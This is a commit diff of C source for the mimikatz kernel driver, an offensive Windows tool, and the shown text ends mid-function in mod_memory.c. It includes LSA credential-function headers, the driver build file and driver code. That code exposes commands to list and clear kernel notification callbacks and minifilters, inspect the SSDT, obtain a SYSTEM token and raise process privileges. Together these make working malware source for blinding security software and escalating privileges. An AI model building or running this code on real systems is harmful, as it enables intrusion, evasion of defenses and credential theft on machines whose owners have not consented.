typedef NTSTATUS (WINAPI * PLSA_AUDIT_ACCOUNT_LOGON) (IN ULONG AuditId, IN BOOLEAN Success, IN PUNICODE_STRING Source, IN PUNICODE_STRING ClientName, IN PUNICODE_STRING MappedName, IN NTSTATUS Status);
typedef NTSTATUS (WINAPI * PLSA_CLIENT_CALLBACK) (IN PCHAR Callback, IN ULONG_PTR Argument1, IN ULONG_PTR Argument2, IN PSecBuffer Input, OUT PSecBuffer Output);
typedef NTSTATUS (WINAPI * PLSA_REGISTER_CALLBACK) (ULONG CallbackId, PLSA_CALLBACK_FUNCTION Callback);
typedef NTSTATUS (WINAPI * PLSA_UPDATE_PRIMARY_CREDENTIALS) (IN PSECPKG_PRIMARY_CRED PrimaryCredentials, IN OPTIONAL PSECPKG_SUPPLEMENTAL_CRED_ARRAY Credentials);
typedef VOID (WINAPI * PLSA_PROTECT_MEMORY) (IN PVOID Buffer, IN ULONG BufferSize);
typedef NTSTATUS (WINAPI * PLSA_OPEN_TOKEN_BY_LOGON_ID) (IN PLUID LogonId, OUT HANDLE *RetTokenHandle);
typedef NTSTATUS (WINAPI * PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN) (IN PUCHAR UserAuthData, IN ULONG UserAuthDataSize, IN PVOID Reserved, OUT PUCHAR * ExpandedAuthData, OUT PULONG ExpandedAuthDataSize);
#ifndef _ENCRYPTED_CREDENTIAL_DEFINED
#define _ENCRYPTED_CREDENTIAL_DEFINED
typedef struct _ENCRYPTED_CREDENTIALW {
CREDENTIALW Cred;
ULONG ClearCredentialBlobSize;
} ENCRYPTED_CREDENTIALW, *PENCRYPTED_CREDENTIALW;
#endif // _ENCRYPTED_CREDENTIAL_DEFINED
#define CREDP_FLAGS_IN_PROCESS 0x01 // Caller is in-process. Password data may be returned
#define CREDP_FLAGS_USE_MIDL_HEAP 0x02 // Allocated buffer should use MIDL_user_allocte
#define CREDP_FLAGS_DONT_CACHE_TI 0x04 // TargetInformation shouldn't be cached for CredGetTargetInfo
#define CREDP_FLAGS_CLEAR_PASSWORD 0x08 // Credential blob is passed in in-the-clear
#define CREDP_FLAGS_USER_ENCRYPTED_PASSWORD 0x10 // Credential blob is passed protected by RtlEncryptMemory
#define CREDP_FLAGS_TRUSTED_CALLER 0x20 // Caller is a trusted process (eg. logon process).
typedef enum _CredParsedUserNameType
{
parsedUsernameInvalid = 0,
parsedUsernameUpn,
parsedUsernameNt4Style,
parsedUsernameCertificate,
parsedUsernameNonQualified
} CredParsedUserNameType;
typedef NTSTATUS (NTAPI CredReadFn) (IN PLUID LogonId, IN ULONG CredFlags, IN LPWSTR TargetName, IN ULONG Type, IN ULONG Flags, OUT PENCRYPTED_CREDENTIALW *Credential);
typedef NTSTATUS (NTAPI CredReadDomainCredentialsFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PCREDENTIAL_TARGET_INFORMATIONW TargetInfo, IN ULONG Flags, OUT PULONG Count, OUT PENCRYPTED_CREDENTIALW **Credential);
typedef VOID (NTAPI CredFreeCredentialsFn) (IN ULONG Count, IN PENCRYPTED_CREDENTIALW *Credentials OPTIONAL);
typedef NTSTATUS (NTAPI CredWriteFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PENCRYPTED_CREDENTIALW Credential, IN ULONG Flags);
typedef NTSTATUS (NTAPI CrediUnmarshalandDecodeStringFn)(IN LPWSTR MarshaledString, OUT LPBYTE *Blob, OUT ULONG *BlobSize, OUT BOOLEAN *IsFailureFatal);
typedef struct _LSA_SECPKG_FUNCTION_TABLE {
PLSA_CREATE_LOGON_SESSION CreateLogonSession;
PLSA_DELETE_LOGON_SESSION DeleteLogonSession;
PLSA_ADD_CREDENTIAL AddCredential;
PLSA_GET_CREDENTIALS GetCredentials;
PLSA_DELETE_CREDENTIAL DeleteCredential;
PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap;
PLSA_FREE_LSA_HEAP FreeLsaHeap;
PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer;
PLSA_FREE_CLIENT_BUFFER FreeClientBuffer;
PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer;
PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer;
PLSA_IMPERSONATE_CLIENT ImpersonateClient;
PLSA_UNLOAD_PACKAGE UnloadPackage;
PLSA_DUPLICATE_HANDLE DuplicateHandle;
PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials;
PLSA_CREATE_THREAD CreateThread;
PLSA_GET_CLIENT_INFO GetClientInfo;
PLSA_REGISTER_NOTIFICATION RegisterNotification;
PLSA_CANCEL_NOTIFICATION CancelNotification;
PLSA_MAP_BUFFER MapBuffer;
PLSA_CREATE_TOKEN CreateToken;
PLSA_AUDIT_LOGON AuditLogon;
PLSA_CALL_PACKAGE CallPackage;
PLSA_FREE_LSA_HEAP FreeReturnBuffer;
PLSA_GET_CALL_INFO GetCallInfo;
PLSA_CALL_PACKAGEEX CallPackageEx;
PLSA_CREATE_SHARED_MEMORY CreateSharedMemory;
PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory;
PLSA_FREE_SHARED_MEMORY FreeSharedMemory;
PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory;
PLSA_OPEN_SAM_USER OpenSamUser;
PLSA_GET_USER_CREDENTIALS GetUserCredentials;
PLSA_GET_USER_AUTH_DATA GetUserAuthData;
PLSA_CLOSE_SAM_USER CloseSamUser;
PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken;
PLSA_CLIENT_CALLBACK ClientCallback;
PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials;
PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser;
PLSA_CRACK_SINGLE_NAME CrackSingleName;
PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon;
PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough;
CredReadFn *CrediRead;
CredReadDomainCredentialsFn *CrediReadDomainCredentials;
CredFreeCredentialsFn *CrediFreeCredentials;
PLSA_PROTECT_MEMORY LsaProtectMemory;
PLSA_PROTECT_MEMORY LsaUnprotectMemory;
PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId;
PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain;
PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap;
PLSA_FREE_PRIVATE_HEAP FreePrivateHeap;
PLSA_CREATE_TOKEN_EX CreateTokenEx;
CredWriteFn *CrediWrite;
CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString;
} LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE;

View File

@ -0,0 +1 @@
!INCLUDE $(NTMAKEENV)\makefile.def

View File

@ -0,0 +1,32 @@
-----BEGIN CERTIFICATE-----
MIIFfzCCA2egAwIBAgIKYQt/awAAAAAAGTANBgkqhkiG9w0BAQUFADB/MQswCQYD
VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe
MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv
ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0wNjA1MjMxNzAwNTFaFw0xNjA1
MjMxNzEwNTFaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52
LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3Qg
Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZjc6j40+Kfvvx
i4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6scTHAH
oT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4
bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVt
bNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlw
R5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N89iFo7+ryUp9/
k5DPAgMBAAGjggEjMIIBHzARBgNVHSAECjAIMAYGBFUdIAAwNgYJKwYBBAGCNxUH
BCkwJwYfKwYBBAGCNxUIjeDRiU6E15zDB4amhvscj9O/phUBGQIBbgIBADALBgNV
HQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUYHtmGkUNl8qJUC99
BM00qP/8/UswHQYJKwYBBAGCNxQCBBAeDgBDAHIAbwBzAHMAQwBBMB8GA1UdIwQY
MBaAFGL7CiFbf0NuEdoJVFBr9dKWcfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6
Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENv
ZGVWZXJpZlJvb3QuY3JsMA0GCSqGSIb3DQEBBQUAA4ICAQATxWxeB388V/+bMV8/
vZVUJcZ5+SwxA01kaUtW2VuXb3zz8NAkZXU4Y5gTcBYT96cB8cYj4IWGbAvwgJRa
deh85B6StHO/wbOnsAvTGITLzAmjXJxPPrA6nC0bxATvlzeWb+Xsuqxqs9TiPN+L
JeesvGJFMd2kCnLkG/h4QwHMujkU3l2Qrthaz17KRoFRM9WmDlhn09hmWIgWm+6x
GsqtkROEIdqabiDv2gB0KLrJX/NNXcPaJWklVOpEvMObKTMc1jyWH4eBxVPXKicz
1C4ZfAhYbdtOGZmp6l/zmp2MUTpaXL0vqQg1m1Sn2zUaUhYzNDqjgARq/bSDjK2Q
zww6ZZbsM04YJrhJu+uBkv8TTTJLI8cz57ZxaxX2nIDmvLdsvkHVAzpxMxUAUHQ7
Dl35lqrtkD6rE0yAmSa8OKXrAjaJHbYgvoOrEPgZntdjedSusS9hNvlKS6gzxw5y
QfnxsZB+rkbv3jl7daBBFFkEHUK8R4i4Ew4F+h3wgI3/cMZ32EvcRg4jGnLVv97+
qq5pWDz8XEbk1YGai25lWXcaMqWQprZkk2T9B1PJoN4orSpsxjjRgc6Y9UAZ6SwX
Q6QmX9NEMFPkHQK6pAovFt16YCdSQrutmDcol+S40nkR4xCMSNUwXQoMUt71iOqN
Gi1nyfSAFIS3hQzRZiilxm8kYQ==
-----END CERTIFICATE-----

View File

@ -0,0 +1,9 @@
TARGETNAME=mimikatz
TARGETPATH=OBJ
TARGETTYPE=DRIVER
SOURCES=mimikatz.c \
mod_memory.c \
processes.c minifilters.c fsfilters.c modules.c ssdt.c \
notify_process.c notify_thread.c notify_image.c notify_reg.c notify_object.c
TARGETLIBS= $(TARGETLIBS) $(IFSKIT_LIB_PATH)\fltmgr.lib $(BASEDIR)\lib\wlh\*\aux_klib.lib $(DDK_LIB_PATH)\ntstrsafe.lib

View File

@ -0,0 +1,35 @@
#include "fsfilters.h"
NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status;
ULONG ActualNumberDriverObjects = 0;
PDRIVER_OBJECT * DriverObjectList = NULL;
ULONG i;
*ppszDestEnd = pszDest;
*pcbRemaining= cbDest;
IoEnumerateRegisteredFiltersList(NULL, 0, &ActualNumberDriverObjects);
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kFiltersList - ActualNumberDriverObjects : %u\n\n", ActualNumberDriverObjects);
if(NT_SUCCESS(status))
{
if(ActualNumberDriverObjects > 0)
{
DriverObjectList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, POOL_TAG);
if(DriverObjectList != NULL)
{
IoEnumerateRegisteredFiltersList(DriverObjectList, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, &ActualNumberDriverObjects);
for(i = 0; (i < ActualNumberDriverObjects) && NT_SUCCESS(status); i++)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName));
//DbgPrint("[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName));
ObDereferenceObject(DriverObjectList[i]);
}
ExFreePoolWithTag(DriverObjectList, POOL_TAG);
}
}
}
return status;
}

View File

@ -0,0 +1,5 @@
#pragma once
#include <ntifs.h>
#include "k_types.h"
NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);

View File

@ -0,0 +1,49 @@
#pragma once
#include <ntddk.h>
#include <ntstrsafe.h>
#define MIN(a, b) (((a) < (b)) ? (a) : (b))
#define MAX(a, b) (((a) > (b)) ? (a) : (b))
#ifndef KIWI_NameToFunc
#define KIWI_NameToFunc(Name, Function) if(taillFunc == sizeof(Name) - sizeof(WCHAR)) if(RtlCompareMemory(Name, buffer, taillFunc) == taillFunc) {*destFunc = Function; return STATUS_SUCCESS;}
#endif
#ifndef KIWI_mask3bits
#define KIWI_mask3bits(addr) (((ULONG_PTR) (addr)) & ~7)
#endif
#define POOL_TAG 'iwik'
#define INDEX_UNK 0
#define INDEX_XP 1
#define INDEX_2K3 2
#define INDEX_VISTA 3
#define INDEX_2K8 4
#define INDEX_7 5
#define INDEX_2K8R2 6
#define INDEX_8 7
#define MAX_OS_LEN 8
#ifdef _M_IX86
#define EX_FAST_REF_MASK 0x07
#else
#define EX_FAST_REF_MASK 0x0f
#endif
typedef NTSTATUS (* ptrLocalFunction) (LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
ULONG INDEX_OS;
PDRIVER_OBJECT moi;
typedef struct _SERVICE_DESCRIPTOR_TABLE {
#ifdef _M_IX86
PVOID *ServiceTable;
#else
LONG *OffsetToService;
#endif
PULONG CounterTable;
ULONG TableSize;
PUCHAR ArgumentTable;
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;

View File

@ -0,0 +1,193 @@
#include "mimikatz.h"
ptrLocalFunction maFunc = NULL;
NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
return STATUS_NOT_SUPPORTED;
}
NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
NTSTATUS status = STATUS_INVALID_PARAMETER;
PIO_STACK_LOCATION pIoStackIrp = NULL;
PWSTR params;
size_t tailleParams;
pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp)
{
status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, &params, &tailleParams, &maFunc);
if(NT_SUCCESS(status))
{
Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length;
}
}
IoCompleteRequest(Irp, IO_NO_INCREMENT);
Irp->IoStatus.Status = status;
return status;
}
NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
NTSTATUS status = STATUS_INVALID_HANDLE;
PIO_STACK_LOCATION pIoStackIrp = NULL;
LPWSTR pszDestEnd;
size_t pcbRemaining;
pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp)
{
if(maFunc)
{
status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining);
if(NT_SUCCESS(status))
{
Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining;
}
}
else
{
status = STATUS_PROCEDURE_NOT_FOUND;
}
}
IoCompleteRequest(Irp, IO_NO_INCREMENT);
Irp->IoStatus.Status = status;
return status;
}
void DriverUnload(IN PDRIVER_OBJECT theDriverObject)
{
UNICODE_STRING UStrDosDeviceName;
RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz");
IoDeleteSymbolicLink(&UStrDosDeviceName);
IoDeleteDevice(theDriverObject->DeviceObject);
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
{
NTSTATUS status;
UNICODE_STRING UStrDriverName, UStrDosDeviceName;
PDEVICE_OBJECT pDeviceObject = NULL;
ULONG i;
moi = theDriverObject;
RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz");
status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);
if(NT_SUCCESS(status))
{
INDEX_OS = getWindowsIndex();
for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
theDriverObject->MajorFunction[i] = UnSupported;
theDriverObject->MajorFunction[IRP_MJ_READ] = Read;
theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write;
theDriverObject->DriverUnload = DriverUnload;
pDeviceObject->Flags |= DO_BUFFERED_IO;
pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz");
IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName);
}
return status;
}
ULONG getWindowsIndex()
{
switch(*NtBuildNumber)
{
case 2600:
return INDEX_XP;
break;
case 3790:
return INDEX_2K3;
break;
case 6000:
case 6001:
return INDEX_VISTA;
case 6002:
return INDEX_2K8;
break;
case 7600:
case 7601:
return INDEX_7;
break;
case 8102:
case 8250:
case 9200:
return INDEX_8;
break;
default:
return 0;
}
}
NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc)
{
NTSTATUS status;
size_t tailleChaine;
ULONG i;
ULONG taillFunc;
status = RtlStringCbLengthW(buffer, taille, &tailleChaine);
if(NT_SUCCESS(status))
{
for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++);
if( (i+1) < (tailleChaine / sizeof(WCHAR)))
{
*params = buffer + (i+1);
*tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!!
DbgPrint("%u", *tailleParams);
}
else
{
*params = NULL;
*tailleParams = 0;
}
*destFunc = NULL;
taillFunc = i*sizeof(WCHAR);
KIWI_NameToFunc(L"ping", kPing);
if(INDEX_OS)
{
KIWI_NameToFunc(L"ssdt", kSSDT);
KIWI_NameToFunc(L"listModules", kModulesList);
KIWI_NameToFunc(L"listFilters", kFiltersList);
KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList);
KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses);
KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads);
KIWI_NameToFunc(L"listNotifImages", kListNotifyImages);
KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry);
KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects);
KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects);
KIWI_NameToFunc(L"listProcesses", listProcesses);
KIWI_NameToFunc(L"sysToken", sysToken);
KIWI_NameToFunc(L"privProcesses", privProcesses);
}
}
return status;
}
NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
return RtlStringCbPrintfExW(pszDest, cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n");
}

View File

@ -0,0 +1,26 @@
#pragma once
#include "minifilters.h"
#include "fsfilters.h"
#include "modules.h"
#include "processes.h"
#include "ssdt.h"
#include "notify.h"
#include "k_types.h"
#include <ntddk.h>
extern PSHORT NtBuildNumber;
ULONG getWindowsIndex();
DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD DriverUnload;
DRIVER_DISPATCH UnSupported;
__drv_dispatchType(IRP_MJ_READ) DRIVER_DISPATCH Read;
__drv_dispatchType(IRP_MJ_WRITE) DRIVER_DISPATCH Write;
NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc);
NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);

View File

@ -0,0 +1,193 @@
#include "minifilters.h"
const ULONG MF_OffSetTable[MAX_OS_LEN][MAX_MF_LEN] =
{
/* INDEX_MF_CALLBACK_OFF, INDEX_MF_CALLBACK_PRE_OFF, INDEX_MF_CALLBACK_POST_OFF, INDEX_MF_VOLUME_NAME_OFF */
#ifdef _M_IX86
/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000},
/* INDEX_XP */ {0x007c, 0x000c, 0x0010, 0x002c},
/* INDEX_2K3 */ {0x007c, 0x000c, 0x0010, 0x002c},
/* INDEX_VISTA */ {0x004c, 0x000c, 0x0010, 0x0030},
/* INDEX_2K8 */ {0x004c, 0x000c, 0x0010, 0x0030},
/* INDEX_7 */ {0x004c, 0x000c, 0x0010, 0x0030},
/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas !*/
/* INDEX_8 */ {0x004c, 0x000c, 0x0010, 0x0030}
#else
/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000},
/* INDEX_XP */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 est 2003 x64 */
/* INDEX_2K3 */ {0x00e8, 0x0018, 0x0020, 0x0048},
/* INDEX_VISTA */ {0x0090, 0x0018, 0x0020, 0x0050},
/* INDEX_2K8 */ {0x0090, 0x0018, 0x0020, 0x0050},
/* INDEX_7 */ {0x0090, 0x0018, 0x0020, 0x0050},
/* INDEX_2K8R2 */ {0x0090, 0x0018, 0x0020, 0x0050},
/* INDEX_8 */ {0x0090, 0x0018, 0x0020, 0x0050}
#endif
};
const WCHAR *irpToName[] = {
L"CREATE",
L"CREATE_NAMED_PIPE",
L"CLOSE",
L"READ",
L"WRITE",
L"QUERY_INFORMATION",
L"SET_INFORMATION",
L"QUERY_EA",
L"SET_EA",
L"FLUSH_BUFFERS",
L"QUERY_VOLUME_INFORMATION",
L"SET_VOLUME_INFORMATION",
L"DIRECTORY_CONTROL",
L"FILE_SYSTEM_CONTROL",
L"DEVICE_CONTROL",
L"INTERNAL_DEVICE_CONTROL",
L"SHUTDOWN",
L"LOCK_CONTROL",
L"CLEANUP",
L"CREATE_MAILSLOT",
L"QUERY_SECURITY",
L"SET_SECURITY",
L"POWER",
L"SYSTEM_CONTROL",
L"DEVICE_CHANGE",
L"QUERY_QUOTA",
L"SET_QUOTA",
L"PNP",
};
NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status;
ULONG i, j, k;
ULONG NumberFiltersReturned = 0;
PFLT_FILTER *FilterList = NULL;
ULONG BytesReturned = 0;
PFILTER_FULL_INFORMATION myFilterFullInformation = NULL;
PFLT_INSTANCE *InstanceList = NULL;
ULONG NumberInstancesReturned = 0;
PFLT_VOLUME RetVolume = NULL;
PVOID monCallBack, preCallBack, postCallBack;
*ppszDestEnd = pszDest;
*pcbRemaining= cbDest;
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kMiniFiltersList\n\n");
if(NT_SUCCESS(status))
{
status = FltEnumerateFilters(NULL, 0, &NumberFiltersReturned);
if((status == STATUS_BUFFER_TOO_SMALL) && (NumberFiltersReturned > 0))
{
FilterList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * NumberFiltersReturned, POOL_TAG);
if(FilterList != NULL)
{
status = FltEnumerateFilters(FilterList, sizeof(PFLT_FILTER) * NumberFiltersReturned, &NumberFiltersReturned);
for(i = 0; (i < NumberFiltersReturned) && NT_SUCCESS(status); i++)
{
status = FltGetFilterInformation(FilterList[i], FilterFullInformation, NULL, 0, &BytesReturned);
if((status == STATUS_BUFFER_TOO_SMALL) && (BytesReturned > 0))
{
myFilterFullInformation = ExAllocatePoolWithTag(NonPagedPool, BytesReturned, POOL_TAG);
if(myFilterFullInformation != NULL)
{
status = FltGetFilterInformation(FilterList[i], FilterFullInformation, myFilterFullInformation, BytesReturned, &BytesReturned);
if(NT_SUCCESS(status))
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
L"%*.*ws\n",
myFilterFullInformation->FilterNameLength/sizeof(WCHAR), myFilterFullInformation->FilterNameLength/sizeof(WCHAR),
myFilterFullInformation->FilterNameBuffer
);
if(NT_SUCCESS(status))
{
status = FltEnumerateInstances(NULL, FilterList[i], NULL, 0, &NumberInstancesReturned);
if((status == STATUS_BUFFER_TOO_SMALL) && (NumberInstancesReturned > 0))
{
InstanceList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_INSTANCE) * NumberInstancesReturned, POOL_TAG);
if(InstanceList != NULL)
{
status = FltEnumerateInstances(NULL, FilterList[i], InstanceList, NumberInstancesReturned, &NumberInstancesReturned);
for(j = 0; (j < NumberInstancesReturned) && NT_SUCCESS(status); j++)
{
/*
http://msdn.microsoft.com/en-us/library/windows/hardware/ff541499%28v=VS.85%29.aspx
* InstanceName
* Altitude
* VolumeName
- FilterName
*/
if(NT_SUCCESS(FltGetVolumeFromInstance(InstanceList[j], &RetVolume)))
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
L" Instance %u @ %wZ\n",
j,
(PUNICODE_STRING) (((ULONG_PTR) RetVolume) + MF_OffSetTable[INDEX_OS][INDEX_MF_VOLUME_NAME_OFF])
);
FltObjectDereference (RetVolume);
}
else
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
L" Instance %u\n",
j
);
}
for(k = 0x16; (k < 0x32) && NT_SUCCESS(status); k++)
{
monCallBack = (PVOID) *(PULONG_PTR) (( ((ULONG_PTR) InstanceList[j] )+ MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_OFF]) + sizeof(PVOID)*k);
if(monCallBack != NULL)
{
preCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_PRE_OFF]);
postCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_POST_OFF]);
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
L" [0x%2x %-24ws] ",
k,
irpToName[k - 0x16]
);
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) preCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / ");
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) postCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
}
}
}
}
}
}
FltObjectDereference (InstanceList[j]);
}
ExFreePoolWithTag(InstanceList, POOL_TAG);
}
}
}
}
ExFreePoolWithTag(myFilterFullInformation, POOL_TAG);
}
}
FltObjectDereference (FilterList[i]);
}
ExFreePoolWithTag(FilterList, POOL_TAG);
}
}
}
return status;
}

View File

@ -0,0 +1,12 @@
#pragma once
#include <fltkernel.h>
#include "k_types.h"
#include "modules.h"
#define INDEX_MF_CALLBACK_OFF 0
#define INDEX_MF_CALLBACK_PRE_OFF 1
#define INDEX_MF_CALLBACK_POST_OFF 2
#define INDEX_MF_VOLUME_NAME_OFF 3
#define MAX_MF_LEN 4
NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);

View File

@ -0,0 +1,32 @@
#include "mod_memory.h"
NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur)
{
for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1)
{
if(RtlCompareMemory(pattern, *addressePattern, longueur) == longueur)
{
return STATUS_SUCCESS;
}
}
*addressePattern = NULL;
return STATUS_NOT_FOUND;
}
NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo)
{
NTSTATUS status = searchMemory(adresseBase, adresseMaxMin, pattern, addressePointeur, longueur);
if(NT_SUCCESS(status))
{
*addressePointeur += offsetTo;
#ifdef _M_X64
*addressePointeur += sizeof(LONG) + *(PLONG)(*addressePointeur);
#elif defined _M_IX86
